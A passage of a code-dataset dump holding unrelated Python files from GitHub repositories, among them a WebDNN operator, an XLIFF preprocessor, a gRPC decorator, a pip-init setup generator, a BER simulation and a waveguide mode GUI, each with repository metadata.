-|-{op1}-> v2 -{op2}-> v3 -{op3}-|-> v4 -{op4}->\n +-------------------------------+\n\n After:\n\n ... code-block:: text\n\n -{op0}-> v1 -{________FusedElementwise_______}-> v4 -{op4}->\n\n A A\n : :\n : mapping : mapping\n : :\n V V\n +-------------------------------+\n v5 -|-{op1}-> v2 -{op2}-> v3 -{op3}-|-> v7\n +-------------------------------+\n\n \"\"\"\n\n def __init__(self, name: Optional[str], sub_graph: Graph):\n super().__init__(name)\n self.real2dummy = {}\n self.dummy2real = {}\n ops = traverse.listup_operators(sub_graph)\n\n dummy_xs = []\n for i, x in enumerate(sub_graph.inputs):\n dummy_x = self._create_dummy(x)\n for op in list(x.input_to):\n if op in ops:\n op.replace_input(x, dummy_x)\n self.append_input(f\"x{i}\", x)\n\n dummy_xs.append(dummy_x)\n\n y = sub_graph.outputs[0]\n dummy_y = self._create_dummy(y)\n y.output_from.replace_output(y, dummy_y)\n self.append_output(\"y\", y)\n\n self.sub_graph = Graph(dummy_xs, [dummy_y])\n\n def _create_dummy(self, v):\n if v in self.real2dummy:\n dummy = self.real2dummy[v]\n\n else:\n if isinstance(v, ConstantVariable):\n dummy = ConstantVariable(v.data, v.order)\n\n else:\n dummy = Variable(v.shape, v.order)\n\n self.real2dummy[v] = dummy\n self.dummy2real[dummy] = v\n\n return dummy\n\n def __call__(self):\n raise TypeError(\"FusedElementwise is not callable\")\n\n def exec(self):\n raise TypeError(\"FusedElementwise is not executable\")\n","repo_name":"LinXueyuanStdio/hash2face","sub_path":"webdnn/src/graph_transpiler/webdnn/graph/operators/fused_elementwise.py","file_name":"fused_elementwise.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"10479971444","text":"import re\nimport html\nimport argparse\nimport unicodedata\nimport string\n\n\nclass XLIFFer:\n\n # path_to_files: e.g. XLIFF_queries/translations/de/1_Anja/query_\n # number of queries n: will read in all files from query_1.xliff until query_n.xliff\n # la_code: {\"de\", \"es\", \"fr\"}\n def __init__(self, path_to_files, number_of_queries, generate_source=False):\n self.path = path_to_files\n self.num_queries = number_of_queries\n self.generate_source = generate_source\n if generate_source:\n self.source = []\n self.source_re = re.compile(\"(?<=<source>).+(?=</source)\")\n self.target = []\n self.target_re = re.compile(\"(?<=target state=\\\"translated\\\">).+(?=</target)\")\n punctuation_to_remove = string.punctuation.replace(\":\", \"\").replace(\"<\", \"\").replace(\">\", \"\").replace(\"=\", \"\").replace(\"\\\"\", \"\")\n self.punctuation_regex = re.compile('[%s]' % re.escape(punctuation_to_remove))\n self.whitespace_regex = re.compile('\\s\\s+')\n\n def read_in(self):\n # we are interested in lines like <source>Psychosocial needs \"Cancer patients\" (Palliative OR care) PY>=2006\n # PY<=2016</source> <target state=\"translated\">Psychosoziale Bedürfnisse \"Krebspatienten\" (palliativ OR Pflege)\n # PY>=2006 PY<=2016</target> </trans-unit>\n print(\"Reading in queries...\")\n for i in range(1, self.num_queries+1):\n file_path = self.path + str(i) + \".xliff\"\n with open(file_path, \"r\") as f:\n for line in f:\n if self.generate_source:\n self.get_match(line, False)\n\n target_match_found = self.get_match(line)\n if target_match_found:\n # only one target per file -> don't have to read in the remaining lines\n break\n print(\"Done.\")\n\n def get_match(self, line, target=True):\n if target:\n regex = self.target_re\n collection = self.target\n else:\n regex = self.source_re\n collection = self.source\n match = regex.search(line)\n if match:\n match = match.group()\n match = html.unescape(match)\n # replace 'ß' with 'ss' since unicode.normalize simply deletes the whole character\n match = match.replace(\"ß\", \"ss\")\n\n # remove diacritics\n match = unicodedata.normalize('NFKD', match).encode('ASCII', 'ignore').decode()\n\n # String.punctuation only knows ASCII punctuation\n match = self.punctuation_regex.sub(' ', match)\n match = self.whitespace_regex.sub(' ', match)\n collection.append(match)\n return True\n\n def write_to_file(self):\n tgt_path = self.path[:-1] + \".tgt\"\n print(\"Writing target to path \" + tgt_path + \"...\")\n with open(tgt_path, \"w\") as f:\n for target_line in self.target:\n f.write(target_line + \"\\n\")\n print(\"Done.\")\n if self.generate_source:\n src_path = self.path[:-1] + \".src\"\n print(\"Writing source to path \" + src_path + \"...\")\n with open(src_path, \"w\") as g:\n for src_line in self.source:\n g.write(src_line + \"\\n\")\n print(\"Done.\")\n\n def run(self):\n self.read_in()\n self.write_to_file()\n\n\nif __name__ == \"__main__\":\n argparser = argparse.ArgumentParser(\n description=\"Converts the XLIFF queries into a file containing one translated query per line. Removes \"\n \"punctuation and diacritics\")\n argparser.add_argument(\"path_to_files\", type=str, help=\"Path to XLIFF files, e.g. \"\n \"XLIFF_queries/translations/de/1_Anja/query_\")\n argparser.add_argument(\"number_of_queries\", type=int, help=\"If this argument is n, the script will try to read in \"\n \"all files from query_1.xliff until query_n.xliff\")\n\n argparser.add_argument(\"-s\", \"--source\", dest=\"generate_source\", action='store_true',\n help=\"If this option is set, the script will not only generate a target (translated) file, \"\n \"but also one containing the source queries\")\n args = argparser.parse_args()\n\n converter = XLIFFer(args.path_to_files, args.number_of_queries, args.generate_source)\n converter.run()","repo_name":"clubs-project/DBtranslator","sub_path":"scripts/eval/preprocess_xliff_queries.py","file_name":"preprocess_xliff_queries.py","file_ext":"py","file_size_in_byte":4508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28184241410","text":"def main():\n plate = input(\"Plate: \")\n if is_valid(plate):\n print(\"Valid\")\n else:\n print(\"Invalid\")\n\n\ndef is_valid(s):\n\n if len(s) < 2 or 7 < len(s):\n return False\n counta = 0\n countb = 0\n i = 0\n while i < len(s):\n\n if s[i].isalpha():\n counta += 1\n i += 1\n elif s[i].isdigit():\n countb += 1\n i += 1\n else:\n i += 1\n return False\n\n front = s[0:counta]\n end = s[counta:counta+countb]\n if len(end)>0:\n if end[0]=='0':\n return False\n elif len(front)<2:\n return False\n elif end.isalpha():\n return False\n elif front+end == s:\n return True\n else:\n if not front.isalpha():\n return False\n else:\n return True\n\n\nif __name__ == '__main__':\n main()","repo_name":"OziMoa/CS50works","sub_path":"plates/plates.py","file_name":"plates.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31938997116","text":"import grpc\n\nfrom logging import Logger\nfrom typing import Callable, Any, get_type_hints\n\nfrom google.protobuf.message import Message\nfrom grpc import ServicerContext as Context\n\n\nGRPCService = Callable[[Any, Any, Any], Any]\n\n\nclass ExitGRPCCallWithCode(Exception):\n def __init__(self, ctx: Context, status_code, details: str = \"\"):\n ctx.set_code(status_code)\n ctx.set_details(details)\n super().__init__()\n\n\ndef catch_exceptions(logger: Logger = None):\n def decorator_func(func: GRPCService) -> GRPCService:\n def wrapper(instance, req: Message, ctx: Context) -> Message:\n try:\n res = func(instance, req, ctx)\n return res\n\n except ExitGRPCCallWithCode:\n return Message()\n\n except Exception as e:\n if logger is not None:\n logger.error(e)\n\n ctx.set_code(grpc.StatusCode.INTERNAL)\n ctx.set_details(\"Unknown error happened during processing request.\")\n\n return Message()\n\n return wrapper\n return decorator_func\n","repo_name":"mmohaveri/python-tool-belt","sub_path":"src/toolbelt/grpc.py","file_name":"grpc.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"27664786270","text":"from matplotlib.path import Path\nimport numpy as np\nimport math\n\n\nclass Region():\n v_points = None\n d_point = None\n lines = None\n color = None\n fill_points = None\n\n def __init__(self):\n self.v_points = []\n self.lines = []\n self.fill_points = []\n\n def get_centroid(self):\n if len(self.v_points) == 0:\n return None\n x_sum = 0\n y_sum = 0\n for point in self.v_points:\n x_sum += point.x\n y_sum += point.y\n x_avg = x_sum / len(self.v_points)\n y_avg = y_sum / len(self.v_points)\n return x_avg, y_avg\n\n def contains_point(self, coords):\n point_coords = []\n for point in self.v_points:\n point_coords.append(point.get_tuple())\n if len(point_coords) == 0:\n return False\n point_coords = np.array(point_coords)\n path = Path(point_coords)\n return path.contains_point(coords)\n\n def set_colors(self, color):\n for v_point in self.v_points:\n v_point.color = color\n for line in self.lines:\n line.color = color\n self.d_point.color = color\n self.color = color\n\n def get_min(self):\n x = 9001\n y = 9001\n for p in self.v_points:\n if p.x < x:\n x = math.ceil(p.x)\n if p.y < y:\n y = math.ceil(p.y)\n return x, y\n\n def get_max(self):\n x = -1\n y = -1\n for p in self.v_points:\n if p.x > x:\n x = math.floor(p.x)\n if p.y > y:\n y = math.floor(p.y)\n return x, y\n\n def get_neighbor_regions(self):\n regions = []\n for line in self.d_point.lines:\n other_point = line.get_other_point(self.d_point)\n if other_point.region is not None:\n regions.append(other_point.region)\n return regions\n\n def sort_fill_points(self):\n self.fill_points = sorted(self.fill_points, key=lambda p: p.y)","repo_name":"Xorgon/Map-Generator","sub_path":"map_gen/objects/region.py","file_name":"region.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"} +{"seq_id":"29785256688","text":"import streamlit as st\n\nfrom langchain.vectorstores import FAISS\nfrom langchain.embeddings import OpenAIEmbeddings\nfrom langchain.chat_models import ChatOpenAI\nfrom langchain.chains import RetrievalQA\n\nfrom dotenv import load_dotenv\n\n \nif __name__ == \"__main__\":\n load_dotenv()\n\n embeddings = OpenAIEmbeddings()\n documents_idx = FAISS.load_local(\"parsed_data_conv.idx\", embeddings)\n\n llm = ChatOpenAI()\n qa_chain = RetrievalQA.from_chain_type(\n llm=llm, \n chain_type=\"stuff\", \n retriever=documents_idx.as_retriever(),\n return_source_documents=True,\n )\n \n st.markdown(\"### Tinkoff QA Bot\")\n \n query = st.text_input(\"Задайте свой вопрос:\")\n if query:\n answer = qa_chain(query)\n st.markdown(\"**Ответ:**\")\n st.markdown(answer[\"result\"])\n \n message_href = [\"Подробнее:\"]\n \n for doc_i, doc in enumerate(answer[\"source_documents\"], 1):\n href = doc.metadata[\"source\"]\n href = \"https://tinkoff.ru\" + href + \"?card=q\" + str(doc.metadata[\"seq_num\"])\n message_href.append(f\"- [Ссылка]({href})\")\n \n st.markdown(\"\\n\".join(message_href))\n","repo_name":"vbugaevskii/tinkoff-qa-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17143545119","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nfrom pip_init.templates import (\n setup_base_template, setup_line, gitignore_content, classifiers_line,\n classifiers_template)\nfrom sys import version_info\nfrom subprocess import Popen, PIPE\nfrom getpass import getuser\nimport os\n\n\ndef input_message(field_name, default_value):\n return u'{} ({}): '.format(field_name, default_value)\n\n\ndef gen_classifiers():\n mayor, minor = version_info[:2]\n python = \"Programming Language :: Python\"\n local = \"Programming Language :: Python :: {}.{}\".format(mayor, minor)\n classifiers = [python, local]\n\n classifiers_lines = ''\n for cls in classifiers:\n classifiers_lines += classifiers_line.substitute(classifier=cls)\n\n return classifiers_template.substitute(classifiers=classifiers_lines)\n\n\ndef get_username():\n '''Get git config values.'''\n username = ''\n\n # use try-catch to prevent crashes if user doesn't install git\n try:\n # run git config --global <key> to get username\n git_command = ['git', 'config', '--global', 'user.name']\n p = Popen(git_command, stdout=PIPE, stderr=PIPE)\n output, err = p.communicate()\n\n # turn stdout into unicode and strip it\n username = output.decode('utf-8').strip()\n\n # if user doesn't set global git config name, then use getuser()\n if not username:\n username = getuser()\n except OSError:\n # if git command is not found, then use getuser()\n username = getuser()\n\n return username\n\n\ndef default_values(field_name):\n if field_name == 'name':\n return os.path.relpath('.', '..')\n if field_name == 'version':\n return '0.1.0'\n elif field_name == 'description':\n return 'A pip package'\n elif field_name == 'license':\n return 'MIT'\n elif field_name == 'author':\n return get_username()\n\n\ndef get_input(input_msg, default=None):\n if version_info >= (3, 0):\n input_value = input(input_msg)\n else:\n input_value = raw_input(input_msg.encode('utf8')).decode('utf8')\n\n if input_value == '':\n return default\n return input_value\n\n\ndef write_content(file, content):\n if version_info >= (3, 0):\n file.write(content)\n else:\n file.write(content.encode('utf8'))\n\n\ndef main():\n fields = ['name', 'version', 'description', 'license', 'author']\n setup_lines = ''\n\n for field_name in fields:\n default_value = default_values(field_name)\n input_msg = input_message(field_name, default_value)\n\n input_value = get_input(input_msg, default=default_value)\n\n setup_lines += setup_line.substitute(\n name=field_name, value=input_value\n )\n\n setup_content = setup_base_template.substitute(\n setup_lines=setup_lines,\n classifiers=gen_classifiers()\n )\n\n with open('setup.py', 'w') as setup_file:\n write_content(setup_file, setup_content)\n\n with_gitignore = get_input('Generate .gitignore file [Y/n]?: ',\n default='y')\n if with_gitignore.lower() == 'y':\n with open('.gitignore', 'w') as gitignore_file:\n write_content(gitignore_file, gitignore_content)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"juanpabloaj/pip-init","sub_path":"pip_init/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"18"} +{"seq_id":"11009473634","text":"import sys\ninput = lambda: sys.stdin.readline().rstrip() \n\ndef resolve():\n n = int(input())\n ukv = [list(map(int, input().split())) for _ in range(n)]\n\n ukv.sort()\n\n d = [-1]*n\n f = [-1]*n\n visited = [False]*n\n t = iter(range(1, 2*n+1))\n\n def dfs(v):\n d[v] = next(t)\n visited[v] = True\n for i in sorted(ukv[v][2:]):\n if not visited[i-1]:\n dfs(i-1)\n f[v] = next(t)\n\n for i in range(n):\n if not visited[i]:\n dfs(i)\n\n for i in range(n):\n print(i+1, d[i], f[i])\n\nif __name__ == '__main__':\n resolve()","repo_name":"kanji-a/competitive_programming","sub_path":"aoj/ALDS1/ALDS1_11_B.py","file_name":"ALDS1_11_B.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22110511836","text":"from __future__ import print_function\n\nimport serial\nfd = serial.Serial('/dev/ttyACM1', 9600, stopbits=1, timeout = 1.0)\n\n\nwhile 1:\n c = raw_input('Enter a character : ')\n fd.write(c)\t\n print ('Received ', fd.read())\n","repo_name":"expeyes/expeyes-programs","sub_path":"microhope/src/microhope/soft-echo.py","file_name":"soft-echo.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"18"} +{"seq_id":"42700726785","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef line_search_plots(grad_its, new_its, f):\n # extracting values\n x_g, y_g, f_g, i_g = grad_its[:, 0], grad_its[:, 1], grad_its[:, 2], grad_its[:, 3]\n x_n, y_n, f_n, i_n = new_its[:, 0], new_its[:, 1], new_its[:, 2], new_its[:, 3]\n\n # generating values for graph scale to plot input on\n stop_x = max(abs(x_g.min()), abs(x_n.min()), abs(x_g.max()), abs(x_n.max()))\n stop_y = max(abs(y_g.min()), abs(y_n.min()), abs(y_g.max()), abs(y_n.max()))\n start_x, start_y = -stop_x, -stop_y\n\n x1 = np.linspace(start_x, stop_x, 50)\n x2 = np.linspace(start_y, stop_y, 50)\n\n # converting graph values to grids to plug into function for contour lines\n X1, X2 = np.meshgrid(x1, x2)\n\n # calculating contour line values\n Z = np.empty(X1.shape)\n for i in range(X1.shape[0]):\n for j in range(X1.shape[1]):\n Z[i, j], _ = f(np.array([X1[i, j], X2[i, j]]), hess=False)\n\n # initialize plot\n fig, ax = plt.subplots(2, figsize=(10, 14))\n\n # figure 1\n # contour plot\n contours = ax[0].contour(X1, X2, Z, 50)\n # gradient points\n g_in = ax[0].plot(x_g, y_g, linestyle='dashed', marker='o', label='gradient')\n # newton points\n n_in = ax[0].plot(x_n, y_n, linestyle='dashed', marker='o', label='newton')\n\n # figure 2\n # gradient points\n g_out = ax[1].plot(i_g, f_g, label='gradient')\n # newton points\n n_out = ax[1].plot(i_n, f_n, label='newton')\n\n # figure parameters\n ax[0].set_title('Line Search Path over Function Contour Lines')\n ax[0].set_xlim([1.15 * start_x, 1.15 * stop_x])\n ax[0].set_ylim([1.15 * start_y, 1.15 * stop_y])\n ax[0].legend()\n\n ax[1].set_title('Iteration Function Values')\n ax[1].set_xlabel('Iteration')\n ax[1].set_ylabel('Function Value')\n ax[1].legend()\n\n # plt.show()\n return fig","repo_name":"sababaganoosh/numerical_optimization","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71337192359","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport scipy.optimize as spo\nimport tkinter as Tk\nimport gui_stuff as gui\n\ngui.set_rcParams()\nroot = Tk.Tk()\nroot.title(\"TE Lossy Mode\")\n\ndef mTE(kfx,x):\n if kfx == 0.:\n mTE01 = x\n else:\n mTE01 = np.sin(kfx*x)/kfx\n return np.array([[np.cos(kfx*x),mTE01],[-np.sin(kfx*x)*kfx,np.cos(kfx*x)]])\n\ndef RTE(epsilon_s,d1,epsilon_f1,epsilon_c,n_eff): \n ksx = 1j*np.sqrt(n_eff**2-epsilon_s+0j)*2*np.pi\n kf1x = np.sqrt(epsilon_f1-n_eff**2+0j)*2*np.pi\n kcx = 1j*np.sqrt(n_eff**2-epsilon_c+0j)*2*np.pi\n MTE = mTE(kf1x,d1)\n \n return (ksx*MTE[1,1]-kcx*MTE[0,0]-1j*MTE[1,0]-1j*ksx*kcx*MTE[0,1])/(ksx*MTE[1,1]+kcx*MTE[0,0]+1j*MTE[1,0]-1j*ksx*kcx*MTE[0,1])\n\ndef mode_profile(epsilon_s,d1,epsilon_f1,epsilon_c,n_eff): # computing mode profile\n gs = np.sqrt(n_eff**2-epsilon_s+0j)*2*np.pi\n kf1x = np.sqrt(epsilon_f1-n_eff**2+0j)*2*np.pi\n gc = np.sqrt(n_eff**2-epsilon_c+0j)*2*np.pi\n \n xs = np.linspace(-2, 0, num=101, endpoint=True)\n xf1 = np.linspace(0, d1, num=101, endpoint=True)\n xc = np.linspace(d1, d1+2, num=101, endpoint=True)\n \n Fs = np.exp(gs*xs)\n Gxs = -n_eff*Fs*2*np.pi\n Gzs = gs*Fs\n \n MTE = mTE(kf1x,xf1)\n Ff1 = MTE[0,0]*Fs[-1]+MTE[0,1]*Gzs[-1]\n Gxf1 = -n_eff*Ff1*2*np.pi\n Gzf1 = MTE[1,0]*Fs[-1]+MTE[1,1]*Gzs[-1]\n \n Fc = Ff1[-1]*np.exp(-gc*(xc-d1))\n Gxc = -n_eff*Fc*2*np.pi\n Gzc = -gc*Fc\n \n return np.concatenate((Fs,Ff1,Fc)),np.concatenate((Gxs,Gxf1,Gxc)),np.concatenate((-1j*Gzs,-1j*Gzf1,-1j*Gzc)),np.concatenate((xs,xf1,xc))\n\ndef n_eff(epsilon_s,d1,epsilon_f1,epsilon_c,initial_guess):\n def func(params):\n n_eff_real, n_eff_imag = params\n return 1/np.abs(RTE(epsilon_s,d1,epsilon_f1,epsilon_c,n_eff_real+1j*n_eff_imag)) \n result = spo.minimize(func, [np.real(initial_guess),np.imag(initial_guess)], bounds = ((np.sqrt(epsilon_s), None), (0, None)), tol = 1.e-8) \n\n return result.x[0]+1j*result.x[1] \n \ndef initialize():\n epsilon_f1_imag_double.set(.4)\n \n calculate()\n\ndef calculate():\n gui.change_cursor(root,\"trek\")\n epsilon_f1_imag = epsilon_f1_imag_double.get()\n f.clf() \n a1 = f.add_subplot(gs[0])\n a1.plot(epsilon_f_imag,np.real(n_eff_f),'b')\n a1.plot([epsilon_f_imag[0],epsilon_f_imag[-1]],[n_eff_mode,n_eff_mode],'k:')\n a1.set_xlim([epsilon_f_imag[0],epsilon_f_imag[-1]])\n a1.set_xlabel(r'$\\varepsilon_{\\rm f}^{\\prime\\prime}$')\n a1.set_ylabel(r'$n^{\\prime}_{\\rm eff}$')\n\n a2 = f.add_subplot(gs[2]) \n a2.semilogy(epsilon_f_imag,np.imag(n_eff_f),'b')\n a2.set_xlim([epsilon_f_imag[0],epsilon_f_imag[-1]])\n a2.set_xlabel(r'$\\varepsilon_{\\rm f}^{\\prime\\prime}$')\n a2.set_ylabel(r'$n^{\\prime\\prime}_{\\rm eff}$')\n\n a3 = f.add_subplot(gs[1]) \n a3bis = a3.twinx() \n lns1 = a3.plot(x_mode-d1/2,np.abs(F_mode),'k:')\n n_eff_lossy = np.interp(epsilon_f1_imag, epsilon_f_imag, n_eff_f)\n a1.plot(epsilon_f1_imag,np.real(n_eff_lossy),'bo')\n a2.plot(epsilon_f1_imag,np.imag(n_eff_lossy),'bo')\n F,Gx,Gz,x = mode_profile(epsilon_s,d1,epsilon_f1_real+1j*epsilon_f1_imag,epsilon_c,n_eff_lossy) # compute lossy mode profile\n lns2 = a3.plot(x-d1/2,np.abs(F),'b')\n a3.set_xlabel(r'$x/\\lambda$')\n a3.set_ylabel(r'$|E_y|/|E_y(x=0)|$') \n lns3 = a3bis.plot([x[0]-d1/2,-d1/2,-d1/2,d1/2,d1/2,x[-1]-d1/2],[epsilon_s,epsilon_s,epsilon_f1_real,epsilon_f1_real,epsilon_c,epsilon_c],'g')\n a3.axvspan(-d1/2, d1/2, color='0.875')\n a3bis.annotate(r'$\\varepsilon_{\\rm f}^{\\prime\\prime}=$ '+str(round(epsilon_f1_imag,4)), xy=(0,(epsilon_s+epsilon_c)/2),horizontalalignment='center', verticalalignment='center')\n a3bis.set_ylabel(r'$\\varepsilon^{\\prime}$')\n a3.set_xlim([x[0]-d1/2,x[-1]-d1/2])\n a3.set_ylim([0,2])\n a3.legend(lns1+lns2+lns3,[r'$|E_y|$ ideal mode',r'$|E_y|$ lossy mode',r'$\\varepsilon^{\\prime}$'])\n \n a4 = f.add_subplot(gs[3]) \n Sx = np.real(F*np.conj(Gz))\n Sz = np.real(-F*np.conj(Gx))\n Smax = np.amax(np.sqrt(Sx**2+Sz**2))\n a4.plot(x-d1/2,Sx/Smax,'b')\n a4.set_xlabel(r'$x/\\lambda$')\n a4.set_ylabel(r'$S_x/|\\mathbf{S}|_\\mathrm{max}$')\n a4.plot([x[0]-d1/2,x[-1]-d1/2],[0,0],'k:')\n a4.set_xlim([x[0]-d1/2,x[-1]-d1/2])\n a4.set_ylim([-.02,.08])\n \n plt.tight_layout()\n \n# plt.savefig('lossy_mode.pdf',bbox_inches='tight',dpi=300, transparent=True)\n\n canvas.draw()\n gui.change_cursor(root,\"arrow\")\n \nf = plt.figure(1,[8,4.75])\ngs = mpl.gridspec.GridSpec(2, 2, width_ratios=[1, 3], height_ratios=[1, 1])\n\ncanvas = gui.create_canvas(root,f)\nmainframe = gui.create_mainframe(root)\n\nepsilon_s = 2.\nd1 = 1.\nepsilon_f1_real = 2.25\nepsilon_c = 1.\n\nepsilon_f_imag = np.linspace(0,.5, num=100)\nn_eff_mode = np.real((n_eff(epsilon_s,d1,epsilon_f1_real,epsilon_c,1.47))) # compute film waveguide mode\nF_mode,Gx,Gz,x_mode = mode_profile(epsilon_s,d1,epsilon_f1_real,epsilon_c,n_eff_mode) # compute film waveguide mode profile\nvn_eff = np.vectorize(n_eff)\nn_eff_f = vn_eff(epsilon_s,d1,epsilon_f1_real+1j*epsilon_f_imag,epsilon_c,1.47+1j*0.001)\n\nepsilon_f1_imag_double = Tk.DoubleVar()\n\ninitialize()\n\nrow = 1\nrow = gui.create_slider_with_latex(mainframe,r'absorption in film $\\varepsilon_{\\rm f}'' =$',epsilon_f1_imag_double,0,.5,row)\nrow = gui.create_spacer(mainframe,row)\nrow = gui.create_button(mainframe,\"Calculate\",calculate,row)\n\ngui.mainloop_safe_for_mac(root)","repo_name":"sskupin/theo_opt","sub_path":"lossy_mode.py","file_name":"lossy_mode.py","file_ext":"py","file_size_in_byte":5443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71849849961","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.special import erfc\n\n#Number of SNR samples \nnum_snr_samples = 10\n#SNR values in dB\nsnrdb = np.linspace(0,9,10)\n#Number of samples\nnum_samples = int(1e5)\n#Simulated BER declaration\nsim_ber = []\n#Analytical BER declaration\nana_ber = []\n\n#for SNR 0 to 10 dB\nfor i in range(0,num_snr_samples):\n #Generating AWGN, 0 mean unit variance\n noise = np.random.normal(0, 1,num_samples)\n #from dB to actual SNR\n snr = 10**(0.1*snrdb[i])\n #Received symbol in baseband\n rx = np.sqrt(snr) + noise\n #storing the index for the received symbol \n #in error\n err_ind = np.where(rx < 0)\n #calculating the total number of errors\n err_n = np.size(err_ind)\n #calcuating the simulated BER\n sim_ber.append(err_n/num_samples)\n #calculating the analytical BER\n ana_ber.append(0.5*erfc(np.sqrt(snr)/np.sqrt(2)))\n\nplt.semilogy(snrdb.T,ana_ber,label='Analysis')\n\nfor i in range(num_snr_samples):\n plt.semilogy(snrdb[i],sim_ber[i],'o',color='C'+str(i),label='simu='+str(snrdb[i]))\nplt.xlabel('SNR (Eb/No)')\nplt.ylabel('p_e')\nplt.legend()\nplt.grid()\nplt.savefig('./3.1.7.pdf')\nplt.title('p_e vs SNR ')\nplt.show()\n\n","repo_name":"Gangagopinath/ASSIGNMENT","sub_path":"digitalcommunication/codes/3/3.1.7.py","file_name":"3.1.7.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29012411540","text":"from typing import Dict\nfrom app.classes.grammar.g_and import GAnd\nfrom app.classes.grammar.g_or import GOr\nfrom app.classes.pattern_classes.pattern_variables import PatternVariable as PV\nfrom app.classes.units.all_units import UnitType\n\nGrammarUnit = PV or GOr or GAnd or UnitType\n\nFULL_GRAMMAR: Dict[PV, GrammarUnit] = {\n PV.P_BEFORE_S: GOr(UnitType.BEFORE, UnitType.BY), \n PV.P_BEFORE_T: GOr(UnitType.BEFORE, UnitType.PRIOR_TO), \n PV.P_BEFORE_E: GOr(UnitType.BEFORE, UnitType.PRIOR_TO), \n \n PV.P_AFTER_W: GOr(UnitType.AFTER, UnitType.FOLLOWING, UnitType.FROM, UnitType.OF),\n PV.P_AFTER_T: GOr(UnitType.AFTER, UnitType.FOLLOWING, UnitType.FROM),\n PV.P_AFTER_E: GOr(UnitType.AFTER),\n PV.P_AFTER: GOr(UnitType.AFTER, UnitType.LATER_THAN),\n PV.P_AFTER_PF: GOr(UnitType.FOLLOWING),\n PV.P_AFTER_I: GOr(UnitType.FOLLOWING, UnitType.AFTER),\n\n PV.P_DURING: GOr(UnitType.DURING, UnitType.THROUGHOUT, UnitType.WITHIN),\n PV.P_EXCEPT: GOr(UnitType.WITHOUT, UnitType.UNLESS, UnitType.EXCEPT),\n \n PV.CONDITIONAL_T: GOr(UnitType.WHEN),\n PV.CONDITIONAL_A: GOr(UnitType.AFTER, UnitType.IF, UnitType.IN_EVENT, UnitType.IN_CASE, UnitType.ONCE, UnitType.UPON),\n PV.CONDITIONAL_N: GOr(UnitType.UPON, UnitType.WITH),\n\n PV.AT_LEAST: UnitType.AT_LEAST,\n PV.AFTER: UnitType.AFTER,\n PV.AND: UnitType.AND,\n PV.BETWEEN: UnitType.BETWEEN,\n PV.FOR: UnitType.FOR,\n PV.FROM: UnitType.FROM,\n PV.WITHIN: UnitType.WITHIN,\n PV.UNTIL: UnitType.UNTIL,\n \n PV.TIMESPAN: GAnd(\n UnitType.TIMESPAN, \n GAnd(\n UnitType.TIME_VALUE, \n UnitType.TIME_UNIT\n )\n ),\n\n PV.DATE: UnitType.DATE,\n PV.DATE2: UnitType.DATE,\n PV.TIME_PERIOD: UnitType.TIME_PERIOD,\n \n PV.EVENT: GAnd(\n UnitType.EVENT, \n GOr(\n PV.CUSTOM_EVENT, \n PV.CONTRACT_EVENT\n )\n ),\n\n PV.CUSTOM_EVENT: GAnd(\n UnitType.CUSTOM_EVENT, \n GAnd(\n UnitType.SUBJECT,\n PV.VERB_PHRASE\n )\n ),\n \n PV.CONTRACT_EVENT: GAnd(\n UnitType.CONTRACT_EVENT, \n GAnd(\n UnitType.CONTRACT_SUBJECT, \n UnitType.CONTRACT_ACTION\n )\n ),\n\n PV.NOTICE_EVENT: GAnd(\n UnitType.NOTICE_EVENT, \n GAnd(\n UnitType.NOTICE_FROM, \n UnitType.NOTIFIER\n )\n ),\n\n PV.VERB_PHRASE: GOr(PV.IVP, PV.TVP, PV.LVP),\n PV.IVP: GAnd(UnitType.INTRANSITIVE_VERB, PV.ADV_AND_PP),\n PV.TVP: GAnd(UnitType.TRANSITIVE_VERB, PV.DOBJ_PHRASE),\n PV.LVP: GAnd(UnitType.LINKING_VERB, PV.PRED_PHRASE),\n PV.DOBJ_PHRASE: GAnd(UnitType.DOBJ, PV.ADV_AND_PP),\n\n PV.ADV_AND_PP: GOr(\n UnitType.FINAL_NODE, \n GAnd(\n UnitType.ADVERB, \n UnitType.PREP_PHRASE\n ), \n UnitType.PREP_PHRASE\n ),\n \n \n PV.PRED_PHRASE: GAnd(\n UnitType.PREDICATE, \n GOr(\n UnitType.FINAL_NODE,\n UnitType.PREP_PHRASE\n )\n ),\n}\n","repo_name":"reganmeloche/symboleo-nlp","sub_path":"app/classes/grammar/full_grammar.py","file_name":"full_grammar.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40018866655","text":"\"\"\"django_formset URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n 